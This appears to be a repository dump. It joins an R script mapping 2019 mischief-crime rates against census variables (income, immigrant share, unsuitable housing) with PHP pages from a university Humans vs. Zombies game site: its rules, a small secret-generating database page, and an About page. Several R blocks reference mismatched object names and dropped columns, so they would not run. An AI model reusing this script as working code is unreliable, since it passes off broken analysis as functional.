# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/DA_bivarite_map_medianincome_mischiefsperpopulation_2019.pdf", plot = DA_final_bivarite_map_medianincome_mischiefs_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# Map 2:Percentage immigrants (p_immigrants) and mischief crimes
DA_immigrant_mischief_2019 <-
int_DA %>%
st_filter(DA) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(p_immigrants!="NA") %>%
filter(CATEGORIE == "Mefait") %>%
#filter(population>50) %>%
group_by(GeoUID,p_immigrants,population) %>%
summarize(DA_n_mischief_immigrant_2019 = n()) %>%
mutate(DA_density_mischief_immigrant_2019 = DA_n_mischief_immigrant_2019/(population/100)) %>%
bi_class(x = DA_density_mischief_immigrant_2019, y = p_immigrants, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
DA_bivarite_map_immigrant_mischiefs_2019 <-
ggplot() +
geom_sf(data = DA_immigrant_mischief_2019, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")
# Add bivariate legend
DA_bi_legend_immigrant_mischiefs_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Number of mischief crimes per 100 population",
ylab = "Percentage immigrants",
size = 8)
DA_final_bivarite_map_immigrant_mischiefsper100ppl <-
DA_bivarite_map_immigrant_mischiefs_2019 +
inset_element(DA_bi_legend_immigrant_mischiefs_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
DA_final_bivarite_map_immigrant_mischiefsper100ppl #to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/DA_bivarite_map_immigrant_mischiefs_per100ppl_2019.pdf", plot = DA_final_bivarite_map_immigrant_mischiefsper100ppl, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# Map 3:Percentage immigrants and mischief ratio
DA_total_mischief_immigrants_2019 <-
int_DA %>%
st_drop_geometry() %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(GeoUID) %>%
summarize(DA_number_mischief_2019= n())
DA_total_interventions_minus_mischiefs_2019 <-
int_DA %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(CATEGORIE != "Mefait") %>%
group_by(GeoUID) %>%
summarize(DA_total_number_interventions_minus_mischiefs_2019 = n())
DA_immigrant_mischiefs_ratio_2019 <-
DA_total_mischiefs_immigrants_2019 %>%
full_join(., DA_total_interventions_minus_mischiefs_2019, by = c("GeoUID", "p_immigrants")) %>%
mutate(DA_share_mischiefs_total_intervention_2019
= DA_number_mischief_2019/total_number_interventions_minus_mischiefs_2019) %>%
filter(DA_share_mefait_total_intervention_2019!="NA") %>%
filter(p_immigrants!="NA") %>%
bi_class(x = DA_share_mefait_total_intervention_2019, y = p_immigrants, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
DA_bivarite_map_immigrant_mischiefs_ratio_2019 <-
ggplot() +
geom_sf(data =DA_immigrant_mischiefs_ratio_2019, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")+
aes(geometry = geometry)
# Add bivariate legend
DA_bi_legend_immigrant_mischiefs_ratio_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Ratio of mischief crimes to other non-discretionary crimes",
ylab = "Percentage immigrants",
size = 8)
DA_final_bivarite_map_immigrant_mischiefs_ratio_2019 <-
DA_bivarite_map_immigrant_mischiefs_ratio_2019 +
inset_element(DA_bi_legend_immigrant_mischiefs_ratio_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
DA_final_bivarite_map_immigrant_mischiefs_ratio_2019 #to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/DA_bivarite_map_immigrant_mischiefs_ratio_2019.pdf", plot = DA_final_bivarite_map_immigrant_mischiefs_ratio_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
# Map 4:Percentage unsuitable (p_unsuitable) and mischiefs ratio for 2019
DA_total_mischiefs_unsuitable_2019 <-
int_DA %>%
st_drop_geometry() %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(CATEGORIE == "Mefait") %>%
group_by(GeoUID,p_unsuitable) %>%
#st_buffer(0) %>%
summarize(DA_number_mischiefs_2019 = n())
DA_total_interventions_minus_mischiefs_2019 <-
int_DA %>%
mutate(DATE = year(DATE)) %>%
filter(DATE == 2019) %>%
filter(CATEGORIE != "Mefait") %>%
group_by(GeoUID) %>%
summarize(DA_total_number_interventions_minus_mischiefs_2019 = n())
DA_unsuitable_mischief_ratio_2019 <-
DA_total_mischiefs_unsuitable_2019 %>%
full_join(., DA_total_interventions_minus_mischiefs_2019, by = "GeoUID") %>%
mutate(DA_share_mischiefs_total_interventions_2019
= DA_number_mischiefs_2019/DA_total_number_interventions_minus_mischiefs_2019) %>%
#filter(DA_share_mefait_total_intervention_2019!="NA") %>%
#filter(p_unsuitable!="NA") %>%
bi_class(x = DA_share_mefait_total_intervention_2019, y = p_unsuitable, style = "quantile", dim = 3,
keep_factors = FALSE)
# Plot for the bivariate choropleth map
DA_bivarite_map_unsuitable_mefaits_ratio_2019 <-
ggplot() +
geom_sf(data = DA_unsuitable_mischief_ratio_2019, mapping = aes(fill = bi_class), color = "white", size = 0.1, show.legend = FALSE) +
bi_scale_fill(pal = bivar, dim = 3) +
bi_theme()+
theme(legend.position = "bottom")+
aes(geometry = geometry)
# Add bivariate legend
DA_bi_legend_unsuitable_mischief_ratio_2019 <- bi_legend(pal = bivar,
dim = 3,
xlab = "Ratio of mischief crimes to other non-discretionary crimes",
ylab = "Percentage unsuitable housing",
size = 8)
DA_final_bivarite_map_unsuitable_mischiefs_ratio_2019 <-
DA_bivarite_map_unsuitable_mefaits_ratio_2019 +
inset_element(DA_bi_legend_unsuitable_mischief_ratio_2019, left = 0, bottom = 0.6, right = 0.4, top = 1)
DA_final_bivarite_map_unsuitable_mischiefs_ratio_2019 #to see your plot
# Save in PDF in your output/figures folder to see the true sizes of your plot, ajust accordingly
ggsave("output/figures/Alexia/DA_bivarite_map_unsuitable_mischiefs_ratio_2019.pdf", plot = DA_final_bivarite_map_unsuitable_mischiefs_ratio_2019, width = 8,
height = 5, units = "in", useDingbats = FALSE)
#Scatter plots------------------------------------------------------------------
install.packages("car")
library(car)
install.packages("ggpubr")
library(ggpubr)
# CT level
# CT and mischief per 100 ppl
# variables to keep: GeoUID, population, median_HH_income_AT,p_unsuitable
# p_immigrants, p_aboriginal, p_low_income_AT, p_vm, geometry <MULTIPOLYGON [m]>
# CATEGORIE <chr>,DATE <chr>
# no need to filter for NA in ggplot
CT_int_plots_1 <-
int_CT %>%
st_filter(CT) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE==2019) %>%
group_by(GeoUID) %>%
summarize(CT_n_int_total_2019=n())
CT_int_plots_2 <-
int_CT %>%
st_filter(CT) %>%
mutate(DATE = year(DATE)) %>%
filter(DATE==2019) %>%
filter(CATEGORIE=="Mefait") %>%
group_by(GeoUID) %>%
summarize(CT_n_mischiefs_2019=n())
CT_int_plots_3 <-
full_join(st_drop_geometry(CT_int_plots_1),st_drop_geometry(CT_int_plots_2), by="GeoUID") %>%
mutate(CT_mischief_share_2019=CT_n_mischiefs_2019/CT_n_int_total_2019)
#run this if you want to use CT_int_plots_4 for the scatterplot
CT_int_plots_4 <-
left_join(CT_int_plots_3, CT, by="GeoUID") %>%
filter(population>50) %>%
mutate(CT_n_mischiefs_per100ppl=CT_n_mischiefs_2019/(population/100)) %>%
mutate(p_low_income_AT=p_low_income_AT/100)
#run this if you want to use CT_int_plots_4 for bivariate maps
CT_int_plots_4 <-
left_join(CT_int_plots_3, CT, by="GeoUID") %>%
filter(population>50) %>%
mutate(CT_n_mischiefs_per100ppl=CT_n_mischiefs_2019/(population/100)) %>%
st_as_sf()
# Now you can play with int_CT_plots_4
p1 <- ggplot(data=CT_int_plots_4, aes (x=p_immigrants, y =CT_n_mischiefs_per100ppl))+
geom_point()+
geom_smooth(method=lm)+ #Add "se=FALSE" for no confidence boundaries
theme_minimal()+
scale_x_continuous(name = "Percentage of immigrant inhabitants",
label = scales::percent)+
scale_y_continuous("Mischief crimes per 100 people")+
ylim(c(0,3))
#xlim(c())
#ylim(c())
# change y between CT_mischief_share_2019 (aka: Percentage of mischief crimes out of all crimes)
# and CT_n_mischiefs_per100ppl (Mischief crimes per 100 people)
# x can be either p_unsuitable, p_vm, p_immigrants, p_aboriginal, p_low_income_AT
# plot with R2 equation
plot_1 <- p1 +
stat_cor(
aes(label = paste(..rr.label.., ..p.label.., sep = "~`,`~")),
label.x = 0.5, label.y = 2.5)
plot_1 #to view the plot
| 05efac3897126f3a4ae2ca3180dc1499ac590cd4 | [
"R"
] | 18 | R | cloesthilaire/housing_warmup1 | 3e18ca5932c444da6696dbd74b87269fc8b7f48e | a1d03997c3a6c55a4427c22592bd2f0a6740da85 |
refs/heads/master | <file_sep><?php
$page_title = 'HvZ rules';
$require_login = false;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
?>
<!DOCTYPE html>
<html>
<head>
<?php
require 'module/html_head.php';
?>
<link href="//<?php echo DOMAIN; ?>/css/page/rules.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="body_container">
<?php
require 'module/header.php';
?>
<div class="content_column">
<div id="content">
<div id="content_top_border">
<?php
require 'module/body_header.php';
?>
</div>
<div id="body_content">
<div id="rules">
<div class="odd">
<div class="rules_header">Game <span class="accent_color">Rules</span></div>
<div>(last update: April 22, 2015)</div>
<div>Humans vs. Zombies (HvZ) is a game of tag of epic proportions. There are two teams, the Human Resistance, and the Zombie Horde. All players begin as Humans, except one who is randomly chosen to be the Original Zombie (Players can opt out of being chosen as the Original Zombie). The Original Zombie tags Human players, turning them into Zombies. The Zombies must "feed" on a Human every 60 hours, by tagging them, or they starve to death and are out of the game. The Humans can defend themselves from the Zombies with various game approved equipment stated below.</div>
</div>
<div class="even">
<div><span class="rules_heading">New Rules and Rule Changes for this semester</span></div>
<LI>No entering/exiting foliage between the hours of 8pm and 7am. This has been established for safety reasons and concerns from the public.
<LI>No hiding in foliage at any time. However, during daylight hours bushes may be traversed through.
<LI>Blasters may not have any form of attachable barrel on them. In addition the Centurion is no longer permitted.
<LI>Upon exiting a doorway, a 10 foot safe zone is established until exited, reentering a building, or when players (in the bubble or not) countdown 10 seconds outloud. Rules for entering doors has not changed. See doorway section for details.
<LI>OZ timers can be reset after 12 minutes (i.e. 3 minutes until unstun) during full missions ONLY. Their total stun clock is still 15 minutes.
<LI>New section on doorways.
<LI>Play zone boundaries have changed slightly from last game to reflect construction projects. <a href="http://goo.gl/ejjzmv"><span class="accent_color">See map here</span></a>.
</div>
<div class="odd">
<div><span class="rules_heading">Objectives</span></div>
<div> Zombies: win when all Human players have been tagged and turned into Zombies, or by preventing the Humans from completing the final mission.</div>
<div> Humans: win by surviving long enough for all of the Zombies to starve, or by completing the final mission.</div>
</div>
<div class="even">
<div><span class="rules_heading">Eligibility</span></div>
<div><OL class="rules">
<LI>You must be able to spend an adequate amount of time on campus (1-3hrs per day) during the game week.
<LI>You must be affiliated with OSU (faculty, student, postdoc, on campus work, etc.) Exceptions to this may be made upon request.
<LI>You must be registered on the OSU HVZ website, then add yourself to the upcoming game to play.
<LI>You must also agree to the OSU OSUndead Humans vs. Zombies Agreement (when you register on this website).
<LI>You MUST attend ONE orientation out of the dates specified on the front page, and if you cannot make one of these dates email us at <EMAIL> to arrange a separate one (times and locations are posted in the weeks before the game).
<LI>You must sign and return the liability waiver at orientation. Note: You will start as deceased if you do not attend an orientation AND return the liability waiver. (Plus, you won't get an armband if you don't.) One-on-one orientations can be done before the start of the game on request by emailing the Mod email at <EMAIL>
</OL></div>
</div>
<div class="odd">
<div><span class="rules_heading">Safety Rules</span></div>
<div>Rules created for the safety of all players are strictly enforced. Violation of safety rules may result in a removal and ban from the game, even on the first occurrence and without prior warning.</div>
<div><OL class="rules">
<LI>No realistic looking weaponry. All Nerf devices must be inspected by a mod before the game. Approved devices will be marked with a zip-tie as proof they've been inspected. Using a Nerf device that hasn't been inspected will result in removal from the game.
<LI>Game devices may not be visible inside of academic buildings or jobs on campus (i.e. Nerf Devices). Make sure they are tucked away entirely, with no handles showing, etc.
<LI>Nerf markers must not hurt on impact. (If you're not sure about this, ask a moderator).
<LI>Play inside buildings is strictly forbidden. Doing so will result in removal from the game. The exception to this is around doorways.
<LI>Common Sense. If something seems excessively dangerous, don't do it.
<LI>Stairs are safe for humans only. Zombies can be stunned on stairs, humans can not be tagged as long as they have at least one foot on the stairs. To count as stairs, there must be <a href="img/stairs.jpg"><span class="accent_color">three vertical faces.</span></a>
<LI>Doorways:
<OL class="rules">
<LI>Doorways function as the boundary between play areas and no play zones. Players must exercise caution around doorways. If the doorway is crowded with people, wait for them to move out of the way.
<LI>A human is safe if they have at least one foot within the doorway
<LI>A human is safe if, as they are entering the building, they have one hand on the door handle
<LI>If the door is locked, then you are only safe if you are able to open the door
<LI>Zombies are never safe in doorways
<LI>When a human exits a door, they are safe until they move more than ten feet away from the door. Any zombie nearby can remove the safety bubble by audibly counting out ten seconds. Once the zombie reaches zero, the human is no longer safe, and should probably run away or return to the building.
<LI>The purpose of the bubble is to reduce clogs around doors. Please use the safety to stand away from foot traffic and avoid blocking exits.
</OL>
<LI>Vehicles: Players on/in vehicles are outside of the game. They cannot be attacked, and cannot attack. Players on roller blades are always safe because a push will cause them to move. (Please don't ride bikes, skateboards, or rollerblades at missions. You may use them to get to and from the mission location only).
<LI>Do not hide under cars (even if it is yours).
<LI>Do not under any cirumstances attempt to tag someone who isn't a player. Doing so will result in immediate removal from the game.
<LI>Play is forbidden 5 feet surrounding all construction zones (sidewalks are a good guide for distance).
<LI>No entering or exiting foliage between the hours of 8pm and 7am. Additionally, no hiding in foliage at any time. This has been established due to safety and concern from the public.
</OL></div>
</div>
<div class="even">
<div><span class="rules_heading">Bandana Rules</span></div>
<div>Game bandanas are given out at orientation. This is to indicate who is a player. They usually cycle between blue, green, and yellow of various shades per game with OSU HVZ spraypainted on the front of varying colors/font. Moderators have an additional pink bandana.</div>
<div><OL class="rules">
<LI>Game bandana's must be used at ALL TIMES (except for the noted exceptions below). This includes going to/from class, to/from exams, etc. Failure to do so may result in disciplanary action, and or removal from the game. If you suspect someone of violating this, please report it to the mods.
<OL class="rules">
<LI>Exceptions: outdoor class, ROTC, work, transporting heavy/fragile/expensive equipment (does not include laptops in a backpack), physical injury. If you feel you have an exception activity, please contact the mods.
</OL>
<LI>Game bandana's must be worn at minimum several minute prior to exiting a building. Placing on a bandana, then exiting several seconds later to chase/escape a player will result in disciplinary action. We encourage players to wear bandanas inside as much as possible!
<LI>Game bandana's must be clearly visable in a 360 degree manner (i.e. from all angles). Do not fold them lengthwise to make them thinner. Tape may be used to repair damaged edges.
<LI>Game bandana's cannot color-match clothing.
<LI>Game bandana's from previous game may be worn. However, the current game's bandana must be worn and be the most visible.
</OL></div>
</div>
<div class="odd">
<div><span class="rules_heading">Equipment</span></div>
<div><OL class="rules">
<LI>HvZ Bandana - to identify people as participants in HvZ. This will be provided to all players. This is a required item
<LI>2 Index Cards - to identify players uniquely for the purpose of Zombie feeding. Write your Player ID on your 2 index cards as a human. You can find your player ID under "My Account" at the top. These are required items.
<LI>Game approved Nerf blaster(s) - For Human players only. See section on Nerf devices. These items are optional.
</OL></div>
</div>
<div class="even">
<div><span class="rules_heading">Safe Zones</span></div>
<div>Players that are in safe zones cannot be shot or tagged in these places. Human players can however fire from within a safe zone to clear exits.</div>
<div><OL class="rules">
<LI>Residence Halls. Humans may not shoot out of windows or from fire escapes.
<LI>Bathrooms (includes porta potties)
<LI>All Buildings (four walls and a ceiling)
<LI>Stairs are safe for humans only.
<LI>Dining Halls
<LI>Reser Stadium (inside, not on the plaza waiting for tickets)
<LI>Personal Tents
<LI>Bus Stops (ONLY when there is a bus or shuttle present)
<LI>Cars.
<LI>Anywhere else needed due to safety or as declared by a mod.
</OL></div>
</div>
<div class="odd">
<div><span class="rules_heading">No-Play Zones</span></div>
<div>No-Play Zones are places where your safety outweighs the context of the game. The game is not to be played in these areas and if you are in one you should be trying to do nothing but get out. You may NOT use a no-play zone as a safe zone. If you find yourself in one, get out immediately</div>
<div><OL class="rules">
<LI>The area surrounding buses and shuttles (not bus stops). Busses are and Shuttles count as vehicles; players on them are safe.
<LI>Crosswalks: If you enter a cross walk you must cross to the other side. You may not shoot into or out of a crosswalk. Zombies may not tag Humans that are crossing a crosswalk
<LI>The Parking Garage
<LI>Construction Zones (plus the additional 5 feet surrounding a construction zone).
<LI>Fire Escapes
<LI>During fire drills (when there are people sent out side to wait the group is in a No-Play Zone until everybody has dispersed)
<LI>Around emergency vehicles
<LI>Off Campus.
<LI>Around cultural and diversity centers. (Do not camp outside of these buildings, it's not cool!)
<LI>Jobs, Labs, Outside classes (Take your head/armband off so as to not interrupt the class.)
<LI>Anywhere else as declared by a mod.
</OL></div>
</div>
<div class="even">
<div><span class="rules_heading">Locations</span></div>
<div>Areas on campus that are safe to play in and not listed as a Safe Zone or No-Play Zone are fair game.</div>
<div><a href="http://goo.gl/ejjzmv"><span class="accent_color">Click here</span></a> to see what is defined as on and off campus, in addition to construction areas, non-crossable campus borders, mod locations, and unique buildings.</div>
</div>
<div class="odd">
<div><span class="rules_heading">Identification</span></div>
<div>I.D. Number: Humans must keep two index cards with their unique identification number on them at all times, to be used for identification purposes and for Zombie feeding. Zombies must carry one card, simply for identification purposes. It's also recommended to write your ID code on your bandana that way you never lose it!</div>
</div>
<div class="even">
<div><span class="rules_heading">Game Mechanics</span></div>
<div>Stunning a Zombie: Humans may stun a Zombie for 15 minutes by shooting them with a Nerf marker, throwing a sock at them, or landing a hit with a marshmallow. All projectiles must leave a blaster or hand to be valid. A stunned zombie must place his/her headband around his neck.</div>
<div>When Tagged By a Zombie: When tagged by a Zombie, a Human is required to give the Zombie one of their ID cards, which the Zombie will use to register the tag. The player is now a Stunned Zombie and will become an unstunned Zombie fifteen minutes after being tagged.</div>
<div>Wearing an Armband: Humans must wear provided bandanna around their bicep to identify at all times that they are in a game-on zone to identify them as Humans players in the game. (This will come in handy when you become a Zombie!) Zombies must wear the bandanna on their head, OVER hoodies, hats, hair, etc. so that it is visible at all times from all angles.</div>
<div>Time keeping: Players must be able to keep track of time, such as with a watch or cell phone.</div>
<div>Zombies must "feed" to survive. A Zombie feeds by reporting their tag to the website, within 2 hours of the tag (please contact a moderator if you are having difficulties ASAP). If a Zombie's clock runs out from lack of feeding, they "starve", and are out of the game as a "deceased" player, who occasionally have minor roles in the game (so still keep your bandana). When a Zombie feeds, they gain 48 hours of time. A zombies's feed clock maxes out at 60 hours.</div>
<div>Deceased: Deceased players are zombies who have starved out of the game by failing to feed within 48 hours as a zombie. They are indicated by wearing their bandana on their upper thigh. They may not make tags, stun, be stunned, or interact with regular gameplay. However, they can have important roles during missions and special events during the game (including the final mission!). Emails will be sent informing deceased regarding their roles as the game progresses. <font color="#EEEEEE">ALL HAIL CHAOS</font></div>
<div>Wearing Your Headband: Zombies must wear the bandanna around their head at all times while playing. Again, make sure it is over hats, hoods, hair, etc. See headband rules for more details.</div>
<div>A tag is a firm touch to a Human, including any items on their person excluding blasters held in the hand. (Keep in mind where an appropriate place to tag a Human is. Use good judgment; any violation of this rule is against game policy as well as being incredibly disrespectful, and will result in removal from the game at the very least). After tagging a Human the Zombie must collect one of the Human's ID card, and must report their tag to get credit for feeding.</div>
<div>Getting Tagged: When hit with a Human Nerf device, a Zombie is stunned for 15 minutes. A stunned Zombie may not interact with the game in any way. This includes shielding other Zombies from bullets, continuing to run toward a Human, or providing information to the Horde. If shot while already stunned, the Zombie's stun timer is not reset back to 15 minutes. You will receive an email automatically when you have officially been turned on the game website.</div>
<div>If a stunned Zombie encounters human players, they should raise one hand and identify themselves as stunned. Stunned zombies should not stalk human players, as this can sway the game, and isn't very sportsmanly. A good rule is to stay out of nerf dart range from humans when stunned. Excessive gameplay interaction when stunned may result in disciplinary action.</div>
<div>Altered Mechanics: As a reward for missions, mechanics above may be modified. If this occurs all players will be emailed the conditions.</div>
</div>
<div class="odd">
<div><span class="rules_heading">Original Zombies</span></div>
<div>The Original Zombies (typically 1-5) are randomly chosen at the beginning of the game. (You can opt-out if you want when you add yourself to the game, or go into your account settings). They identify as a Human for a few days (the Original Zombie period). This means that they wear the bandanna on their arm. They tote Nerf blasters, they carry socks, marshmallows, whatever. They can even stun Zombies if they want. For all intents and purposes, they are Human. Except that they can tag Humans to turn them into Zombies. At the end of the Original Zombie period, the Original Zombie becomes a normal Zombie, and must follow the Zombie Rules. During full missions (not mini-missions) OZ stun timers can be reset back to 15 minutes once 12 minutes (i.e. 3 minutes left to unstun) of their timer has elapsed. If you do NOT receive an email from a mod informing you that you are an OZ, then you are NOT an OZ.</div>
<div>Moderators can not be OZs. An email from the mods will be sent when the Original Zombie period ends.</div>
</div>
<div class="even">
<div><span class="rules_heading">Nerf Devices and Projectiles</span></div>
<div>The only Nerf devices allowed are:</div>
<div><OL class="rules">
<LI>Nerf or other similar foam launching toy blasters (i.e. Buzzbee). No barrel attachments may be added to blasters.
<LI>The Centurion is banned for safety reasons. It has been indicated that it resembles a real gun.
<LI>Blow guns firing nerf darts. (Blow guns must be lung powered, and may not shoot velcro darts.)
<LI>Balled up socks.
<LI>Regular Marshmallows (No jumbo or mini).
</OL></div>
<div><UL class="rules">
NO MEELE WEAPONS, NO EXCEPTIONS
</UL></div>
<div>All blasters must be checked at orientatons. Nerf devices must not look realistic. Federal law requires that toy blasters have a brightly colored tip. We require blasters to be obviously brightly colored - if we think it's too realistic looking, it can't be used. If you're in doubt, ask a mod ahead of time. Please don't paint blasters completely black or other colors found on realistic weaponry. All devices except socks and marshmallows must be approved by a Moderator prior to use. Approved devices will be marked as such by a zip-tie. Projectiles must not hurt on impact.</div>
<div>Blasters may be modded. However, they must still fall under the aforementioned guidelines.</div>
<div>Nerf blasters cannot fire anything except foam projectiles such as darts or balls. Socks must be clean. Socks must be thrown; they can be modified, but only by adding more socks.</div>
<div>Only commercially available, off-the-shelf darts may be used in nerf blasters. For safety reasons, darts may not be modified to affect their flight performance in any way. Exceptions may be made for expensive or hard-to find ammunition such as titan darts. In that case, all homemade ammunition must be individually approved by a moderator.</div>
<div>All ammunition must be cleaned up by whoever fired it. Don't leave darts and marshmallows and socks lying around. Be respectful of campus - ours is a beautiful one, let's keep it that way.</div>
<div>If a moderator says a Nerf device is not allowed, then it is not allowed. Moderators do not need to cite a rule to ban Nerf devices. If you have a problem with this, you can appeal to another moderator.</div>
</div>
<div class="odd">
<div><span class="rules_heading">Missions</span></div>
<div>Through the week, there will be various missions posed to both teams (sent via email). By completing these missions, you earn benefits for your team, or detriments for your opposition (such as decreasing stun timers for zombies, or adding a safe zone for humans). Failure to complete mission may have negative consequences for your team, or positive consequences for the other team. Missions are, of course, completely optional, but highly recommended, because they are fun. The final mission on the last day will determine the winner of the game, if it is not already over. The missions are supposed to add some depth to the game, suspense to events, and to give the Humans a reason to get out and fight!</div>
<div>Special mission rules:</div>
<div><OL class="rules">
<LI>No vehicles at mission! Vehicles may be used to get to or from missions, but their use during missions to complete mission objectives or help with the mission in any way is banned.
<LI>Buildings may not be used as cover or passage during missions.
<LI>Stairs may not be used as a play zone unless specifically told by a mod for the purpose of moving from one location to the other.
</OL></div>
</div>
<div class="even">
<div><span class="rules_heading">Costumes</span></div>
<div> Costumes are permitted (and encouraged!), but they must not be alarming to the public. For safety reasons, the following rules will be enforced:</div>
<div><OL class="rules">
<LI>Camouflage may not be worn in bushes. No FULL camo is allowed either.
<LI>Ghillie suits may not be worn at all.
<LI>Costumes may not conceal the face at night.
<LI>The costume may not contain banned weaponry or devices, even for looks.
</OL></div>
</div>
<div class="odd">
<div><span class="rules_heading">Transportation Rules</span></div>
<div>OSU is a very large campus, and transportation is often used by many players to get to their classes in a timely manner. Transportation devices take players temporarily out of play. As such, please only use them if you really need them! They are NOT mobile safe zones, they place you out of play. You can not make tags, be tagged, stun, or be stunned while on a transport device</div>
<div><OL class="rules">
<LI>There are particular rules associated with transport to be aware of. Do not do the following:
<OL class="rules">
<LI>Puppy guarding: This is the act of using a vehical to chase a player down to stun or tag them. This is against the rules and doing so may result in removal from the game.
<LI>Transport jumping: Carrying a transport device (such as a skate/longboard) and quickly jumping on and off upon spotting another player is effectively using a mobile safezone. This is against the rules, and doing so may result in removal from the game.
<LI>Hovering: Closely stalking a player on a transport device by running along side them waiting for them to stop so they can be tagged/stunned is be unsafe. Particularly for the individual on the transport device. Don't do it.
</OL>
<LI>Bicycles: If you are straddled over the bike (moving or not), you are out of play. Simply walking the bike or standing one peddle on the side does NOT count.
<LI>Scooters: You are out of play when you are moving. If you are stationary you are in play.
<LI>Skateboards and Longboards: You are out of play while on one, moving or not.
<LI>Rollerskates and Rollerblades: You are out of play while they are on your feet. We ask players to please not use them during the game unless it is absolutely necessary.
<LI>Segways: If you are standing on one, you are out of play.
</OL></div>
</div>
<div class="even">
<div><span class="rules_heading">Rule Violations</span></div>
<div>In the case where a rule has been violated, moderators will make a decision on the appropriate course of action. Most of the time, this is simply a warning, or nothing at all. For more serious occurrances, the rules head and or executive council may be involved. Possible actions include, but are not limited to:</div>
<div><OL class="rules">
<LI>Verbal notice.
<LI>Written notice.
<LI>Action nullification (i.e. tag or stun doesn't count).
<LI>Temporary removal from the game.
<LI>Full removal from the game.
<LI>Banned from the current game.
<LI>Banned from HvZ.
<LI>University is contacted and notified.
</OL></div>
</div>
<div class="odd">
<div><span class="rules_heading">Other Rules</span></div>
<div>A mod does not need to cite a rule to make a ruling during game.</div>
<div>The mod squad will never use Facebook, twitter, etc. to distribute mission details.</div>
<div>Tagging non-players is a bannable offense. And a rude move. Don't do it.</div>
<div>People who are not part of the game cannot interact with it. This includes spying or bringing supplies to barricaded Humans.</div>
<div>Zombies must have both feet outside a safe zone to tag a Human.</div>
<div>If there is a dispute over a tag and or stun (i.e. a tag and stun happened at the same time), this is settled by way of rock, paper, scissors. If a mod is near by we will officiate this. Winner best 2 out of 3.</div>
<div>Shields are not allowed. Neither are melee weapons. A tag on a backpack is considered a tag on the player (otherwise the backpack would be a shield, which is not allowed).</div>
<div>Athletes during practices or games are safe.</div>
<div>Anyone participating in official or required events, such as jobs or meetings, is safe.</div>
<div>Humans may stun Zombies from inside safe zones to clear exits.</div>
<div>Those that are required to wear a uniform, such as players in ROTC, are not required to wear the headband during that time. This effectively removes them from the game for that amount of time; as such, they cannot be tagged.</div>
<div>Unless you're in a sanctioned activity, please don't remove yourself from the game. Taking off your bandanna to walk to class may result in removal from the game.</div>
<div>If there is a real emergency, call 911. For game-related, non-emergency help please try to find a mod (wearing a pink arm/headband) or email <EMAIL>.</div>
<div>Finally, be fair, have fun, and be kind to each other. This is a game, and only a game! If at any time you think you are violating this rule, stop and think about it. If something seems unfair, it probably is. If it seems un-fun, then something is probably wrong. This is a game, and games are meant to be fun. Try and play the game in a way that makes it good for everyone involved. Don't be selfish. And lastly, HAVE FUN!</div>
</div>
</div> <!-- rules -->
</div> <!-- body_content -->
</div> <!-- content -->
</div> <!-- content_column -->
<div id="footer_push"></div>
</div> <!-- body_container -->
<?php
require 'module/footer.php';
?>
</body>
</html>
<file_sep><?php
$page_title = 'Fix';
$require_login = false;
$require_complete_account = false;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
$database = DATABASE;
$db_host = DATABASE_HOSTNAME;
$db_user = 'webengine';
$db_pwd = <PASSWORD>;
mysql_connect($db_host, $db_user, $db_pwd);
mysql_select_db($database);
$i = 0;
while ($i < 30){
echo $GLOBALS['Game']->GenerateSecret(18).'<br>';
$i = $i + 1;}
?>
done.
<file_sep><?php
ini_set('display_errors',1);
error_reporting(E_ALL|E_STRICT);
$page_title = 'About Us';
$require_login = false;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
?>
<!DOCTYPE html>
<html>
<head>
<?php
require 'module/html_head.php';
?>
<link href="//<?php echo DOMAIN; ?>/css/page/about.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="body_container">
<?php
require 'module/header.php';
?>
<div class="content_column">
<div id="content">
<div id="content_top_border">
<?php
require 'module/body_header.php';
?>
</div>
<div id="body_content">
<div id="about">
<div class="even">
<div class="about_header">Our <span class="accent_color">History</span></div>
<div>The first OSU HVZ game was played at Wilson Hall in the spring of 2008. It spread across campus soon after.</div>
<div>To get a hold of us, email <a href="<EMAIL>"><EMAIL></a></div>
</div>
<div class="odd">
<span class="about_header">Executive moderators</span>
<div><strong><NAME></strong> (Fearless Leader - First game: Spring 2011): As fearless leader, Tom is in charge of organizing all of the executive mods, planning the broad scope of the game, insuring that everything remains on track, as well as making the final call on any major decision. He is a senior going for a B.A. in English. Favorite HvZ Memory: "I survived my first game until the last minutes of the final mission. I died standing next to the final objective."</div>
<div><strong><NAME>ier</strong> (Rules - First game: Spring 2012): As rules head, Pieter is in charge of setting and maintaining the rules of HvZ, as well as making the final decision on any gameplay dispute. He is a 3rd year graduate student going for a Ph.D. in organic chemistry. "My favorite HvZ memory was being the OZ in fall 2012. It was so much fun to be so powerful and so evil!"</div>
